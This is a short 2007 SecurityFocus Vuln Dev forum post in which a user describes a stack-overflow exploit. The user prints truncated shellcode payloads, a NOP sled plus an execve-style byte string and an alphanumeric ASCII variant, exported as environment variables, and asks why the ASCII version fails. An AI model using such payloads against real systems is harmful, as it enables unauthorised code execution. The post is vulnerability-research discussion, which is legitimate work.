Vuln Dev
Re: Re: Linux restricted ASCII Shellcode Apr 19 2007 06:39PM
nonexistant nospam org (2 replies)
I'm exploiting the stack overflow inserting the shellcode in a environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf

And then overwriting de RET address to point somewhere in the NOP section of "SHELLCODE". Pretty simple.
That works perfectly.

But if I try with this environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0TodjdY0Lohfh

This do not work. I have tryed with many different ASCII shellcodes all of them ripped from examples in C style.
What I'm doing wrong?

[ reply ]
Re: Re: Linux restricted ASCII Shellcode Apr 23 2007 01:13PM
RaiSe (raise enye-sec org)
Re: Linux restricted ASCII Shellcode Apr 21 2007 12:04AM
Deian Stefan (deianstefan gmail com)


Privacy Statement
Copyright 2010, SecurityFocus